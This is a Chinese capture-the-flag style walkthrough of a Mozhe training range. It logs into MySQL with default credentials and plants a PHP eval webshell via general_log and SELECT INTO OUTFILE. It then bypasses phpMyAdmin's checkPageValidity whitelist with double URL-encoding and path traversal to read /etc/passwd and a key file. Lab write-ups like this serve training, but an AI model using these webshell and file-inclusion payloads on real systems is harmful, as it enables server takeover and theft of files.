墨者学习
By/shy014
地址:https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe
1.在墨者学院找到该靶场并点击启动靶场
2.点击访问,进入靶场环境,并尝试默认口令(root,root),登陆成功
3.查看MySQL是否限制导入导
show global variables like '%secure%';
4.查看MySQL日志状态
show variables like '%general%';
5.利用日志文件写入一句话木马
开启general_log :set global general_log='on';
设置日志写入文件:
SET global general_log_file='/var/www/html/shy.php';
执行命令,自动写入日志:SELECT '<?php @eval($_POST[shy]);?>';
6.访问日志文件,由于linux权限限制,禁止访问,不能执行,个体设立了失败。
7.尝试直接通过into outfile写入一句话木马,访问执行成功
select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shy.php';
8.使用菜刀连接,下载存在文件包含的PHP文件index.php进行分析
9.对index.php进行分析,发现第55到63行存在问题
if (! empty($_REQUEST['target'])
判断非空
&& is_string($_REQUEST['target'])
判断是否是字符串
&& ! preg_match('/^index/', $_REQUEST['target'])
判断不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)
判断是否在$target_blacklist数组中
&& Core::checkPageValidity($_REQUEST['target'])
判断是否满足checkPageValidity()函数
) {
include $_REQUEST['target'];
包含通过判断的target
exit;
}
10.找到 $target_blacklist在第50行,只要 target 参数不是 import.php 或 export.php 就可以
11.从菜刀中找到core.php下载并进行分析
12.找到checkPageValidity函数,在第443行, 发现checkPageValidity() 函数中有三个地方返回true,这三个地方都是判断变量$_page的值是否在白名单数组$whitelist 中
白名单数组$whitelist的值如下:
checkPageValidity() 函数及分析如下:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
这里是将未经过任何处理的参数$page的值判断是否在$whitelist白名单中
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
mb_substr() 函数返回字符串的一部分
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
所以这里就可以通过?/../../../../../../etc/passwd绕过白名单限制
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
这里多了一个urldecode()函数,可以利用双重url编码绕过
可以把?双重编码为%253f进行绕过白名单限制
%253/../../../../../../etc/passwd
return false;
}
根据以上分析可以构建payload进行包含
Payload: db_sql.php%253f%20/../../../../../../要包含的文件
db_sql.php%253f%20是被当作目录进行上跳
尝试利用payload包含passwd文件,读取成功,
http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../etc/passwd
14.包含根目录下key.txt文件,获取key值
http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../key.txt